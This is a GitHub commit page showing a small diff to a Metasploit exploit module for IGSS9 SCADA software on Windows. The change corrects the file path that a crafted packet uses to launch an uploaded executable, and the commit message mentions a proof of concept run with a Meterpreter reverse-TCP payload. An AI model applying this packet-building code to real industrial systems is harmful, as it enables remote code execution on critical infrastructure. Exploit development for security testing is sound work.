Skip to content

Commit 45af651

Browse files
authored
Fix issue generate/launch path
Generate file in C:\ but try to launch it in Documents and Settings\All Users\Application Data\7T\ PoC with windows/meterpreter/reverse_tcp
1 parent aceeedc commit 45af651

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/windows/scada/igss9_misc.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -117,8 +117,8 @@ def exe_packet(filename)
117117
pkt << "\x00\x00"
118118
pkt << "\x0A"
119119
pkt << "\x00"*31
120-
pkt << "#{base}Documents and Settings\\All Users\\Application Data\\7T\\#{filename}\""
121-
pkt << "\x00"*143
120+
pkt << "#{base}#{filename}\""
121+
pkt << "\x00"*163 #only for 1 caracter + .exe (i.exe for example)
122122

123123
return pkt
124124
end

0 commit comments

Comments
 (0)